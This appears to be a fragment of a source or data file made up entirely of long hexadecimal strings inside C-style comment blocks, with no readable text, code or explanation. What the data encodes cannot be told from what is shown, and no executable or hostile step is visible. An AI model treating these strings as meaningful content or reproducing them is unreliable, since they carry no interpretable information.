f7c1a0b717340877b603ca95511712f6e3a446db6aac06267d569d7327624e8e526a4752eb548a2aad72929f7245fb9094d0ba37fed3d3691dd6bf64e29a5492905585e4a1bc88be805a52d906b01f9696d7101fc4acbec6d8dda6119ca81c5c94f20c316b67ae776d0995aec530ddac198a171a344dc05cfb798d0aed4b94566767112e537100dd63c7f5a4128393bec6b58963c7d88ee54f810b4c4b7aa286f7167178e3a29de4d9c51e434476be02218d9effb78c1ccf3348cc249f5bb555e826a8a46604f9d0faf4975722bb292ba091f57db886f530626eea7880a3bbcef003dd9e07f4c49aaf15fb1bb80588fc96bdcaeb36bf8fd581cd0240d116a07bdec1196c532dea93865ce43afb9c16541e2951aac0d38cd378373c7153c22be1a6a8abccadca7361dcf9228666a239b6ff1a10e116aa24100c6f199b2d0df0af910af9f2f0b3f0d7e6606598e9e32f972c1a82dbb0721c084c5e69aa9b57a86bc1ffbe58a40668405831098819f9ba2287addf50a3efa3e8af88c4b522919dbd9dd995fa3b9af6dcad36a2acfa27af3df9d3cdd0c52d9bb8e9210870d91dfafa5048f6f0d410e3d9f5bd1752b695b15e80a61c6789de887beb5fc1623422359de6bb7abdcb8e64ce28ddb60adeb792c9229129213c8ccbfe3c4a9021de3505198d57e520c0c5afef43bca59853982bf57a2fc564c2eeeba765c70a2798b6b66169074815ddd23a8b1548d876a684209cf221af2e5b60f51a1c2d9ab218111c4bd9828f3c383b69bd26003089518476ac1d4367959c14eab2918001b3e665153bf266c48a6044757d0fe031b14769395c7a0c9626a44167db9d180cd4760f867bbc3dad6511cd2e1d8c225e79d8c5d762a896a5419ce60cdf0d354e5a2b3db342ec059576425f9073bb92070ee7169a29ebe6209d4c3106d95757cf19b7989a15dcf840f2b64107ee1f93e9efcdd1443528e5080c01edb7b10d7124f62367c5c20f67d8a14fbc585e520f3f61263120eefe105dd317b7029986453f4432d44dcf1378d397797bb511724637b87994b1ba616ad77c1a1494d48752848bb378047320f15a9ca735f0d55d9cc8706d3d8fa170eeead044cb8adc08b83871ae5432d7a6ed251454ff011d50e12d85f3bc0ff4247e82b2a6b0dc0392c80510c36f1df9e4bcfb8369e3fb94e8d3672c381b7b4b8a5720d4662671bf50150ba9be071dd394da4eee93dbbf8ed7a555ef927f630feee200f0e6f9051c585e72c3d4f841d24626826b539c5ed30a73d6b5fd056b69dda3b770ef665e7674ac81c65321165d719f29d3a2e6dbd9916b64b4fe42264a7c9e281bfab313a30955d52e5fe1cd7ff8d17b93a01183de10a2ce824983cca95bfee0c19487af4c05b5ece88c28408b82fcf5b5eda5f8e830abad749bdd78a85f7b5759031cc9ebec6f65067bf8faac1a6a2da2d149432f51bfd09d15fcd02b5b6d82c7162ad0cff7c2a974e22bd3787d4c5182bcea992377b47f9cdae5a6c3bb7829df86e19963833c84c803edec9c92d12c1aeeeb66e22b99ad007584223abcbc7f5853c2002d4847ce037c0c2e3fe52cca610572f65b9f0a7cb182c5f7ebd5fffc7bf1176996f893a2d5d770453b107a8bd473b7563457e6bf64b53855980bef9b463d187e7c565a52302711ca8e417c43e2f102a2416582bbcfe7bb184fbd74c9fb3f888c7c8c3166800eda7d3542e1cd89d55b64872c7f351d4c450bcf9f92d6aebe2e8c0a3bda4bc30df9369c54b02d3208d674edce045feb944cc87fa011720f58e80e71ca099aa286bcba342b47098cb769c181c8a950c5ad47de4a99c41409ccc0425351577b8b55e6d6e06311f6c51d52895ab52954a45ffea0397a4cc8a0678b9aa58cfd85f567c6afa7687dde38a756ed359a8b1858d9ae8c27c0152e*/
/*ea8d1be1b3c8c0dc88fa20991e4d0a1e7976130e187d5cb67b418a84f0864169d62d7d57ab00d6f7ddf2f8995a5a4503adb8541c80bb4a83c7e9e9f33b250014f2f3a1dce268c828b38d9c8ee8b18d249c6c6976d065e8594e8e861df9830f99c21eabaac0cf6ef83d9944f4e5b3b4cf5173ad8d6195dec98ed2e3ac782003f1325ed5e3ddda49eb81b353aed72c6eb0cd5cd6b3e45e12b9ce6a205ec97e0a1f82ab8a0afd7409755915ea839b63653480b6816e606414976cee9b5ecacee6239a3b315fa24db8489f91dc23b6250ca6b50d9f255d7975222120315e9e02339c1a29ec177217fe557799ca82999d0085e224c4d769958caffaed0ae851b2cd15ec982d85986a963be508670ac08314eaeb418df1816b2a926f579167a4f62227416cfec326b8d503930d016594a12b56435434b7f0954e2d1a73ceb816b8796808293dbe3d554d9d4c28ee2218b6dea2edce6f770940f33273ff17012961388a0b10301018ef3be150b8101bc2785c743be1a3cdaec56c0997f7006d3d2718f4a46c08805f2b7ed67dd15a07cb37e177355217722a3b80147113c0363350ece2fc94d5dd8c585628423195496d783ef66a656bd6e5397627bb7918316ae9cd7d9d5a59cfbd4785c3f1843a35470dd65ab6a3db6fce97c2c7b9f787372bd2d0d62f6526f277f6a0707e11e4694aa88b7a964bbf5564adffd97c4dbd12cda5718e35756093cf0209a2366a7afdbde8194b858ce5ef2d2d72a60554e9bf8d38330e99a38666ecdfb1b9928654159884bebe15eb5f9f7c629e0e25f26671f43bb97670492ee85ace8565d3baaae4f25f37ed1bdc75836510a781b767c41a8bbbae2481606253a533eeb8f98c54d45470cf94c37468a130c58d9e382b5a20543a47f3d651a317a5738e90af0dd9b9cad024aba667643b424d45d77f873d2797c9214568849c501ababf2e25a189027e6f887d8f17cbd7bc71b5b2d53742b68bcb196651b57afe075a02e5e2671584cc6252186ad53d998e3f570f905fcda6291d6414e3c48bae8fdbcf2aa011edb7661003154dcd2715731cdbc6678ff387d2e2ee9236cc9ba94cdecb72509c4056232cf21dc72d7b8542e1c2c1df14a97605ce1661f8dc8cf0b664fac9d2e0ec806d7967b67ed545dadbcfeaebed0431ba245e978b54f8ebd6ab09c29900a312910b90849ec6143660bb78751e9ebb53f3c478f086fa48ed20302afc6cce545618e3675ac46d1e54019a35c33ce8a7f365bdbb7af2fad66d8da3f30fa85ce8050739cee42842b6c69f894b67e55919ad47297e0898620bd7f833b2874299af2835bdd040f62b4e776eab8870ee1f0520cb3c5fc4426679608ccce5983485a256c028dbd5d42a1e91a1cb7834ada22d6332bc92983b8312bb1ce3018e354178ac0b820138487ba5763af4adf3c36a7b56a12372b8e424a19448da13bc9a2842e5424516968ab51ee5eae1363ef32ecd3043f31e60d8533103200fa74ed48356c195b5ef675f1848ffbed0931d9913ea185289c1c034179feafb2e8dec32b24ffe52c8696009bd1b606b570faf428d2533cc2052fb61d71677555b033ee5bc582719c45a08cb4277654a97486ee186f39ad6b42a15cadf4013b544d9da62f7dac4d4745ec84865634711db9f0f43300d4e37bc1c3707335c92fda5ae43f21b593b9d7dff7c2003ad7be3959f6a06dbe8cf8590e01750f65346317ac7ed4daccf8c723987f1f56ed115f3ebc57bd4bceb7b41556146e1cf44fc589013c5e4ce6a0f35b6c5f17f706029396b45a43bed0e0cfaedac7aafef3e4db1a76d520157b62c6354f842f43ff57110692095a35c219b6e778a80bf6e3db8f6d4ee7ac7aa4907391d0e9eae1488b9d433f0e3241e92adbdebd32e7e4813d99884271f75d1c6a0a31204f902ae603b4ef5a71c38121ff97bf57e84273511a81d6787c6062448d9e03b7fe2a8f6297925fffae0cfd7ae810177ac0393b5c0c46bda06978eb974170d7106250608a7b27f0b05b455c0519ff2ccfeac333f8eb33073aae5095d4e0f85bb89c786f1dbd24dbf59258e0fe2b5e18833878b892ea98bf2138da565eeada15e7a2e805d3611643518a0f9e3ddd8a8556852c1cd7d1f51259df08d8153174ef20f140e7ca24b2f4d55a7a7adfe1cdd4e6b7dcd39ed17ea86310539d747e68a1da557535c653d558fefac00fae77a3fef82c4eb3077254e5e11496b6e15de48c8d45ee33d45bee5112d6dafb0b214918ab0bfc073e0331c97c365d94f55bc70271755537d5ab820077b527c443c11713a493e387c08089000152fd6e5e4d02c5952b82ca7a7e33caf5a1ec1afceacfca4b1250823c8993a873c07298309925b5c0d587899a5eab7557aaf563def5ed38f342842939948f483ae660cbe2a58da5639d44147401e05a718974f67a4a4cd657259f330b785f482e4a53b277a1971da6dd4fb15f5f5617763f033dca93eaff053ab247c389b230ac86c3b9d3ae8378ffa636e7545cc4b63de86ec491f0b827acc42c4616396ecc6760b868d320c3d41aec4662e417442445b1e4ed7a7e04418e752f65a85c7f2fa4aba5c0b0e97e12f65002101e2d6494e1ef2cf8d13fcd502670078f069a951ff23a12b9c30f71f26ac3e185faa398136b0a05e13405c98c5dbd47402894c564d4676f03afd0281a09f13b0778958072f699cf50d2314f538a09d39e4647dec7d930d3a4b7d176a18479d0b0df4c97ae208607de243b6ddc86c7cd28b4f0a9382438dbafba4a6c60308fb54d774c4bbbcfb483b939315f5f037e399b115c60c919720f6311a333911aeab02*/
/*dde52b0f40a0febc99f70f18786fed2f53afaed7a417bf2d47eaa5aa16552bac2c6dfad0bfae650fda3d212a6cd0a4cdc0b53c395f1de966d485c3b9499e011d8809f3667da644570e2c15bcee8a33ebd0b3aff1c38ad9f6947219aab94db109b969ed73adb82c2b4c3467bbd7396547a814fda2c64b39e4f84acc7334575ad1f8a19a9bd2662367a665877e1d76e2285b9e4c1bae34aeb319d9895bc11f303da2334e21849a3a1d119973febed08d2f7d11341b6b6ba4966895bdc0e773f91367d482aca741373f58c10c4d7486ba775473e37630000d374c85236e766b0f391ea191c4d5fed9491d29ee4c0cca9ad18a18f7ea2cef2aa3e2b7dcadff0f7801f9579915086fce64fcdb8d55a7894127fa942aed0424115c7afbc1d3d9fff2bca5d8d8bd85931b549d5a6999bb58d36338c05dd15fa4e15e48b2f058c1f0267173f9eb7870bb347576b5bd9f74e736da5d568f01f2c647bb12a3208def6b2c1be4003b337dafad5a7db95357e743c91d772fb1f359ea41f8e28c85e6d6e510ce69f7e2a9fa269ebfe2cb43ce5d0339094f828a815c9cb9bd7504fb88a919c0ed080a21b3ed9846bebd0d5c74d0b369678be0ea7728843036d71f5a738934cf320ddbb3798a069089d2be13ea140b714f1a8004ecf433ea69d36b1fe71b2ed8679a69ca6e626594a38777b79852349611847d5577b78269b250e49bffec38a08309cc156a1a15e81dccc8f64cc8755e1d1f29ba95715bb160380b9c8a8e0c53583bba5968de714a7da98bba7bd133693e5861794d1c2bc190af1946d3152d3779e9d37f3d4016b208276986fdfe87f4b27ece305a88d40d67e8ad07944ad6ffd32d391687ad5ddee2d14b467d5d141181e1a7ac497a183166c252a6b0e75f01ac02435f8cd7b0e618a15286525afebdd9d03b2e96aff6c2ea9eaac37f91682e626a7eb2a107c50c6b5772c11d7ee1ade7fc8a9dbde6659342372386a122ab42ed5c40bd649763151935b20509d93303b451c203b8df3ae2fde0de9fd295881a776b413a159db0847f19bc1ade6d9b6925b74241372d014d7bc88defe9cfd9b7fef66feb6afdf29344b7b37ffb5d31a86b08649b91e07d7b31060733bb8cb84e6aa31ce56528fe2cbfa419499c659b4ab64e9574f7cc2086f9ca07d95b054af6701562dd69424e09437f4d55b97df9468c2daa3b00993409167140370be6929a19a854e0ca77fd7cf04d436d68688b2f3e1fa4c8f9493926fb768aeae45780a3f67656cf56b7e6223d317a42babb0dc0f66661021f576b37b6ff663c28148384625b12b933fc5dbd7ae073e79ff556e8bd770d0a5d868660eb7ada84abb28d01164d99b2d0ac1c94bf4010818ac2c39ae2d216ea80f5a09e88c5012b2eba61274300fe7e8c8d8f6d3ddd1a34d5c68b039daf1c4b1c287ccbcca81574f1e69217dacfb89c1049b00d7e214c614338bd2967ddfef376961800539ce7fe382da8af4614dab961968f1c6697057bc3f36a3950ead06e8919031ba5a056c0b9eb5f4be72fee698a3aec0145894b3a05545fb0ed8b15469048c6cc30168169f1f598c0a31548d93f8aed8d1d382f4142c80ec45e5412dc137ca4b025263d80a8c86a623488ee0c39863ec807bbc8ec30c483fee03998f40e32d325736fe5ccf13f80456dd6bcb0ee8bfd103c6b1b530c0fa623169c443859dac623b5c5d33898c98531978ebac98d4c333ab31c44d236a5c17b103c41c580946de2b4718f191cb9b2581a6d54a20e114ce9004874627a1ab0719b24c00bd6f178b0bd28c897d739ca9a2256cbd1edb38cc327567dd9efa0ff9bbed9b2083e48896282e5d2d4e5900b07aa599b90c8b7e568d0ab72313be02832b4b12bbbcae191582c8e66d8daddd6cc506133ac14360ddee7bd53029bc8559425549ead905c883617bcc3af1a76e37c28536d05d4376e0cd317fcee7c80f57a18a7ce97e312f5e46a471a34793861c46e9243b2a53fb0b30fc369b939f1453f1d5abf23b54bc0140190ec504e50635c153b6e7a6625960cfd5a5dbc5aa14f6aae2d3bebcd16b3f7c34eb79d03ef22a948f8e638df9c708584268463d4c202830fbc977206dbe13a9c456bfe2efebadce23b73b65270dfb1d4777c362011309e3b99c1ed15bbcb26d87d81bce39bc59834827b509e985ac2eba4bbe37dfd61afae4323445c18560552dcac0711eef6229bba921f5de703f49a9136a6cfda7a72086ae526f4d0b837edb249b66541c9642aece249f9c1c71683f8dd9164938111a67b7912691a3d496304154e0f4ca8af2846032ea8daffb686cc3c75305270db051bee6f81f876ca5d5abcc2c040f68514e5710b2bcec8bc2a4dde0b5e3f5124df48d79cc2ef875721bd00d22dc98a447d0906dc3860540a431d9113d5e4ea548c619146d4d980147e3ed671b5dc08ad6eb93d5fb84e3da6faa1dd4e744610b08173afdabe528640062294a4c32aaa9df1d431d0da2c87f94a2fae730891691f9dffc772eef60098386fa446670504863f19548d2c9613eab568ea2ebdf8dc0af0becae63da2ef857e2684e307b0fa9cf83f6231e25049aacf2b7e50cf7476a294a6535b9057d836dc06d609a928e44faca59c35f5e9ddba1041ec880e8e48bf93d789e7c28d552d1ab51ab78fd307ed34db139873b485b492cae769f93673f44f200fbd4b11cdac9d541a738b6910879b6993e3fa761f8e1bf3c6e0fbabd852967e9de70c96664cc0902708a56df27c3fedc51e43e45b0c27c9a63cffaff4b61bfa06fb6067240c602b164b0e1364d817eb2093cc90c221c5f15465348c1adf70*/
/*dc38b678ff72b10acbc01501e463250652ea0a3a25bf173d4c145aedb62758890bf76554b3d503780735462d8e8c9bdeb8c9a6dbc1a1225cb1f5d6e110aae25667ca5fe046e0a90eecb34c21c6c5b625dceb58400ce0520c45e6dac0962a541f5ce3ccf4771690664cb2e7e6bc4f09c159c25e707a5939dd01288a61b3ad9aa8e8e3f07b0fe6f494514252b9d30e6535d565baf99c7472e8154ebacddab64c74f72b24e4ba99fae9c68977469bc5717d31ad5ff80a997525e4307857d5f55975ee7360022fb5ee0214fd8bfac89b7f3ea87f033fd53083304952e0714dc119029d612f11b183c1156995af58f961622e1e043384f5db0495d9824368cbf302dbc068536e657e49cffaf43b6f9338629df7bf02d7eb9cda3f2a59313a67d6aa08a9e84a582df763ad20f17e498a6f6ec730ff797c080bf8a6619b2dbd38928223241c760babafc694db5bf6502140d5a405302d88236ed78381f90a56ead1e6de1aa7ceb58edf5dbe3d3088f51e6138fdbfe041ab15e2177a8088d9c663638705c0632d0cf339936e5f189b40fb0361347c93c97eaa492a27543db5be7adfdb4438dcd60b5722d56ba4731fc30a550fbd07974a606ddb0ac1f91c25f148e5440a4cb31cae5932de6fd39a86723601855220ffe0053a9fa018423ac5f4eec2df3a0ba438e068bb0dddd0d1df70ce029bbff85887c8dc8688d60be946bcd16a1efc0604d9aeb01e5ec3c3487a841331059b30532eb6738c2d58c97f1bda27c9b9b58dbb215671244b781ef83df8169cf836729fd14fe38f0c58d4edcedb1db4b791ea5fd0e282bfeea49fd31287b66a63f8b6474548223a4650e316f1c14e34816717b294015de231df102051e105e1454200ad9919febd6538586bd25de527ac69250e0837632a94eab170e3fe0ca5a0f2ae02b47a213aaf39ffc562ac4fadd20c11621aec2597249fb9d215b0770429f4add7a0553576b37514f9f55998aff9cb7b4664f09f04f6467b7ecc7295f72fb24f8a3bfba3f3287e6b41b8fefa48b3b0d157e4a305803c94e79c4a8c58d4222c6af02e72762664a8bdbf263de3b284f19e8fa84b4c952eab29c1f2dab423288f454d7f3b70a7b8dc40d048436f57f89495b11d460998043cfdcebf12c0aa1d72b75d0a57892e171b6395bea092d422c9778201affb0eed2fffc1a07b90013610027bed7932a1c7cb2d8aa2170d72d8266e04d6569c997494ea9670495a82c31c02530b27126a28d75086d421d60326a3020c768d09fdb5e25963e42025eb1b485528b407df50d00f966f308fe88a5fa5dd7347b6c3c8eaaa9c8e3711fcbeccff10876d0fd794305e60f896380896affc0b5240992d8b2a4baf0f15b969e277d5d40e985c7f21522b698cebc1df026b7c8beb9e86b4ad7e3a32c3e0b2f0dfa042c5da58f740f5ade8552efb2485e4dd171976bc3fe8dd632d5c8a646a965423a8bd6d5464368d1f9e044bb9b59a91200c935290f5ee149aaa68f66cbf1595ab9e411ce838375281e8cf3f463832d38846e2731ac435b0ba1eb79d063be75eb5a19bc42a466f2b196fbbb2d961c478f4ac15a72fb0a4b680b830ced044680994d3ea8a65090740cd5315d92031a0719c47db4dcc0a30a167ae1ec18208ca718fc0783175621c2e8e36e2b5af28f50a8b4b96590b4e781e0fa2de7799531e2b6e2c5d009c8b4bb72b553b8c6a7d755bcc821fcdcde76a74030f889116f68f93fa1e9208cb0cb37558d856175a495841b80f417810ca60da59718f76d6193c130cdbdf6f548ed08ab60fd8ff962fc607d4d70299bc65670a3f944ced2c12634dec535f9ce885dc08e43d5c7744f7f5e05e457eb9e619261869c934468cdca92d22339951f56fb7817791bee86ffad988a80adc8504b5b4073076c2a58e3e04545028a082f34edcd64a2717cf9b0a223b619028ec9365b9c8158638b5c68bf503c63b95f81312760520ffe6ffbf7fea22c95311ef0cb1ac5393e0552021e254482377a3c4f5eb2b386fab3b9dd45385b3f140f66dfec1bb3e24ca2447539b3faf087a8653c2391ce1cd870be18cbe6a392f74dff246cce95ea55d9fae3ded89b910878bdb13e182b2962a38f60a6517eaf1c45d2bdb47c578b65ac2268a3726306cc6d0c0d1aff7a47f5a6acc045a671c88e0d05a7f53e40c13fe1bd40c7f1b0b4e824542ade1c319b2d2c42023d289b62a19be18465efb4495962d5089a9ebdf4237f3785db5eb6b1e45b994fd6d53bf78634cb0f12f7a01ec1e70e28f5c72fdd1ef4ccb6cb410de62a7e0662c4af6da888006154808842d3633571452563372001ffa8d1c3c5ddbb8991ae9bc29b79e810d2094a7d0d7800b43355328935d93b157821e5429215cd55def6feafe43b65dab7a5cb3a5b53d128f7e860572a67625adf49ef33bd9e4f18575444374ff7ae0bd8c79daae0555f347c6428d8893f37a75782118d1455f64f4ced572f2d07ea89b7d12f2d299118b22767db2a00e44646071176ec7d2ca10bed10ec9c8768bd29d430495034176d89f5dd2534889a38410113d5be1a34ee984efc290bd04e832f0f49aa5915777d9bad3f2e2255bd57b749f1d8c34f40df39db46c0dac949c0b47b7c92038d379128b3f8a121a0e789b5b283dd00119c3ef4282ab4dfb6c9e269b88f57f8894798ba719f2eeb12b29c7a5cf5c47d8da3188918e5df7f56a407cce990ad1da28cb2e022c810e08f1af627ed545d6772a9fa6df8c46a6ed732667981448e1903c2f8acb30a38d10142db531cffad9a72bfe08b7c224012acbf50ad07b94f63d5567d12051550d9d853eefb6*/
/*cd43123987e33563856ecc759a9dc3094eff7c89c8b2c88f5d8c1b3cc9550aa946b31d9be201beb2f43fd487c723930a34603864d3e8c80a7b2c316aede594464b7bd2cca10cf34013585dc6d1ab00d872e22228d68b2905ffb4fe7a4b8bd876d75a70c56f1f4d791df43bd16bf2c1722059df1f62469f187bc8a7a848ae0f4ce63b19b9cde2870f0c4c4cfab897dcd87cda67fb7c6d009d78a203ee839776e00e57efa2031810ff0062880987a1a8e51550830113589adedad4b4c6ec85c947051753142114ada85e68568c8a203a69a862f67409eb2032f25120e34e8c678028678b928b7f350bf130c959ec16691cef73a1b7b9e5c86df26a2c6ea05efd010a61dfdbaed99b5bd838972f6f3e01b1f3239226b5d9eb9aefc6f6393f7f8f305359c0f3f64fd1d9f77c61cec10ad1845e7f4d64621823f1b33f79d70859c8330f6f84444adf278b5d3565c3a805de038dc6177bdb59e2b6657eb5f977d3206f9f78604feaf0d247f5af01abaf3f0b5103e0bb6538ef8a54a31443ac8ecdfcb48c37332085c1a66a293d58a7d3ec407c63a85ac3d5f72ed50d3f010557c2c5171797566d4593f3322e20d934f301eea53fbc4d17e6cb8e5de782eb8d7525b794622a4db487354a960bab2aa3356b12f0792c4a65f15a9a632beef11c023106e12618686be57cca6bd30a96da0f10323831f1be5bcedf5803efe8b06be36961eebffc71cbaef5a3ea7eaf41bb26b4410faa17b2083b8ae8ca5d4496fbadd05a81a771ff952374a2960991365f2db101faa3a9b54ddad24f1f2446291f9fb7e5d587b0ed7d040c72d8598e0221885d7e686f568e1ee76978639e78223fc645d33db3428a7e4661674214afc20d3b3d6fe5cf38304f83aa87039b5ef8b9d3c8e4a580db87c6c240a70d275fd7fecd5c534dea663f703079df4de879ebd30c39cfbb427a788a7a4938b26ab20a00d45069497ac70fd0dea3c5d34bced11d34100d682fdc0302809bd4b606116d5c231d90a0ecc89e937a95ae95ca52434aa7d1ccee5713a71ef2b124f6ddf99687026a39ed6dd199ffcb808547f35350e110861ff7df4ab9514c79c75bb31c26d5bd68f10b8c8601568e4885096a590fc3700f81d4b1b0fb50eee17e1d25de1df0a525f98c98322369e44ecd4f09353540276101684c9c6bef8e4069115ccb6ffbdf8eef717c6bdd5598cb7dc0898d99a88ca9c4a9907fd94828219afc1ebde3820d19b972ddc0267d92f448dec1123db93d6cf6f7e465f27410199cef37cf2278c1a13c90744ec2f4ab066e332220da761cca3347c76dab94a07558d64f0a7d43d58acdaa6973e00eba463d4a5b0b46186e4d668d778ce708e7ad76bea5baddc211e7ae6f24914ce05f79449c48aecbc0a34598d594ca21cde885e9a7bfa97c361c584657febd9bf791de68587fd1fbdbb7c805f37c95c7424ef05a6780ed8c60df89e8a9dd54f197df4415c9ef57275c700b7602014db8e809df4f9e977e075bf332e7fac2243793c12cd92d6af46ed662ad988348fa5bcc88d47ade4ba413c1221272696b9194931cab09cf25cfec48a9a600c9586ed264da4ed0800434f2ea2ee2353360b431919f9e69a72476c92d985179074e78d86dbd700d5cb41202e54feb5f7d91095078ddf727cba725a72498453791bf52babd25b66f930b4708f239ce1e8ef187df2e4b4e1d43b3899c0810d8b562103f67e98d19c14e176028524de25cebf440cb2860e63b21a3b12c105b7935585c59fd81dd86826e3371dcf63c9ce7bd8ebe866d9f178dca30b7bf9c0565707f0f263cd608e7210ae3431d076f83a8f16deacca91733808a91f357fca77d9f5aa570f73589176d81eea24f7f7507956bfb40f44ef1072e9ccbd9993a65e4339ab2bdc67c41c67fbe8278df9ede042c188919eda0a576729d958e329bc0e4d52fb531dd38f15186fbbde178022d86d69fff0a494f7dba50336700822ead2107739be461cf0f261b34d6bc4dc447b1197d01fbe57a5c4a960aaff0aa8f0363d59b8f171ec09df803333362304e65f518591caaeab2ffc2f04c84b28b1ee665f3b428451ad5261326075e0aaa8f80e767687b60306cfc960724d8bcb57c062591968cdc156a51449de877b973dbbc278c13e22e1b469bd4ce281b77b9434b782633645e9008cbe1572f868bb2fbcb1ead1acfb6385994c9eef4dcef47906066ca45590dd1f62da42713762377a6d7553c12348c9a811192dd721b76625e904bd4316635c8e5996b3b6f827c184e896751111a0d8b9a99370a3316d1c79277b94ef1b334925893c24b3703ae31e5341601d4be27c66ccaefa35ad9f367b1ff53b72c7d49cc60a14e2beff3064320fce875a2b3d3fe63b75768aab38ea38f44332ae9878e40d95fa3d9346da5b85e5af1c8ad95023ccb4a8786237aaa2f81c835560cb7fad5e2452e2af0fab3889c2c85c0530da01e49a22964d150bc9d92131779bdc2a28bb8daaef6ce94f612d9de5ed9effaa0182f6c4ee9c9c825b037f22676ebc308af76c3f868ed31805619bea170ae520d804a0f424a4f816e318e7fa6752934f8deee9bf950256b6314dd5452370d08e746a1e3ddc61d631ecd2ca97203ef6bf7d22ef785eb89e627a4e750aab036c109a5ae11002fb0fb4d9b0761efd501c2090e64c38da1a80d653b6c20a7cb32c531adbae5a87661c4da27a025cf9f3a1d9f90b2643a414bb74d340756fca8e4159f79207d4f7fe9e33c68440f9a8f994ecdb15dd821095723a2c3793391c9a2cf2e8aaeeb560b1c892d13a94551d91abf84900b4823f602e101e131082aef4f*/
/*56105c7dcc70423370b1d2664e793da3752772757bba1b42c106f977ddab6c47ad6561fb55ead2a40b05cd0f11ac8285b11e86ef003a47234bd02375361009f408c7dd8211fa4cb0e9d0b7be7dafe8116de0dfe7caee488e7823e50917eec1f299ade5c03869b79fa776534f677df596a1c2550a6b8356461d7c0096c82c19f63568384def46111b92dee8fbc620a5c19fc85fa360004e2bfe7eb9eea841ba87ffaa882a5a04a61cd340c918803268cb23ae2035aea836f0275671280c65d97d127a80360a12d6de6c873cb8141c747030e927f7d464d02bf00e8095e1c5031a29f5dd5c5e412c0d52def76c2a5611a0eafa4003749fe67a904c15aa8185826c39ba6fb651d0cfe210cd1af9bf915267d5cede7a96001e3ec92b4a3aefc91ac58d86ba7618a3f51435637157df38bfabb8760ce09f437407196dcffed54fe84d6865bb738eec6d4d8ad33f14d5dc5cc6cbb85c9d1565fb9bf8f8f7646971fd366b314229f760a9f1356b0302679ba6745190da98e95923a4adcf0917251884695a31d95f2e46b226632821a488efd9f7a20660574a850550bf8ba8cdf1361c79a3c16624f8cfc6f0ca5d37217e58970cce710f5c80068c90be9557bc47589e339cfb558f5f97a77e2d5b04c3cc7698c3e617aac494770748f905e48d13bf46ed1f17d86121a901e3d58f43ed96a75a242b4b7f726eb97d89a043d10ab16cbbe94ea26e93dea766efb2e911f2960619fdbdbec2c0891920b1a4d5131888c709c7036e2e3dcb9debf02bf085961341f2f158882172bbdc0188a241f340de5eaa9f030d2b0423509e7eaf926cf3f691ece625416e504463c7d20df3cbb1d645d83687080f385fc54434d28f02395b8be2e0c352e730ec74004ff40c89b872e1980ae2fc7ac438e02d79b98c1a56773f2e77215613bbeabe44f1b406109427ce70700b503b6ef06219ccf4769f2e7b9a5b0ce7bb30e8831b008a9efa55234618e08553531c5ac2cd914d7400151eb2004415690e025a43b63e2f5730d7f4034af0df4cead47407f97a41ee98bae6c6709ff1eb9633fb2e4cd19fba23926dfde607c908ee322b5df411d297b28e56caf6c62ec388f3a9390097389b5d5a3eebc425004cad6be39317ba11261c4d04250ed27a714a66082687958f1613aeca4c3ab87b68328ef3943c7cb63e2062f18f29b877df11f58b5a43a9f414247e6c9afb1019e62c3be6cf8d563fb892567871f9775b21ee697b287f3b22d83f9378652a239dea53b59bddaccd2cd8b2d0afd80759d876959e101db5268fce76a8918aacb572771dbe9e15d3da65c8b53296a75e782d24ca0be298d7bc054074dbb1fb5c9b6b052dbff3d87227725279e3298c5de8d9ea3dd3303c95441e00e8866500b04f07deae06139c89584a4523d70b06be67ec00dcc4444483300edb3bac49d23fe7cab4390dcbfde88cbc94bd77428a94a51fb804fdef0959d37d14926520c3c4d275bd77d6ce99fb9c5855d07475ccb3c024b429949cf72ce366e0a6e4842c20677477d040304ae3fd1bffeb092a74d41c3287514fdcb9eae7bd020674e14c5c39c373c893f498e66610b9568e90f57d3c804238bc7f5eec2c775123b0bd0cc83b868312a3826f71afa1b5c007c6418c169a5d0c554971b148bffd67970ad97a0ee6f5e59dfebea7651376747acddc752b939f683dc7c5195d66705f834171f0cc94a79cd51ebfa40ece9ffe9b386851f56819c4a27baba3829cb19fe23bdaaac9cf48a3ddddd3a88b44194fb6856839942c7e9012881a2ae6d4dec2a9d4449076399451ca41e4b0c828a378221558640fd2d1952d60f10b29ef5acc27c3133a4879f554bf9f47e6782dc37412ff1c6cd8a40e763513c0300e7c7fcaf607ede19ff4d60bbfefc774a44b029b5c690d6a9ede2a83f6d38ad7c0e81564383775ed0a9965519b9459e287e7f84720a4be56cc70508ca06c06b0bde5471057bef893559a5479567dfc796474be176b7d9efcd73fbc9e4d24d349792378c089875f46c51468ebba15a31284928e5477bdfea435639fad9003177f7a711a6505e6efefc68b99ac8c0574a6f44eeacd7cf709572ca6ecfe984100fac04c055d8fda07f97bc52412db4a8cf9b68d7b457596191af5d9f9a729c506ea5a37d86af2dd4035f65a69203ce528e475b3f21bee172375d8544a24705c049ef5136ff175797c00c3c8a8aa10ba35134b5e355973137dd27a22b5e82ae8acb506274948719652cd6da31728282e40e818fd56a2a2c3f11f16d2c4617e9550da7df47c240f24b4f9bc4604a09dcef6a5134d25af49807f60725da5c3625abf637c5d2f3398212eaa5d07d94ca2e4018404af186ccdb1e5f50bf1ae427e96e877508f4341324117363cd67cbc67555c26f03a37820f18de2ecf607d73d8f823dfdeb2b8f713a7303f96a6f06e5be3a297f01ff39b7f0d0fb0b40de2f4a00aa7cfde1468d1f9d2f23f8ad321a160c5889bd788e34ac0cf94757ea733a1a637cb3ecb53cafec697d19b467721e27eeda2be8e8cf793c256e1bbba780a770883e97845d539a907f83a76b2a9bd1422a24656d615a01619664fcb9b0611ffe4f1b550e80f98afee519c7fe53b690ca5ff32203c4674304c442c1dd598eb9de5877f247e6276d6ca0af29a0db59ae8d3b949e26681ec036b643e1699ff94f962f4c13bb85953cb541685c7dc9271788d339c1ef6b953fec568711362257aa9b9168fd14199ec90d987959cfbc95902dac9869e3c956a884c1e1f06832bd00f25b657dd8d808b4c344038761a7e4cbf91f9ef5281f40d32a29588a3e661*/
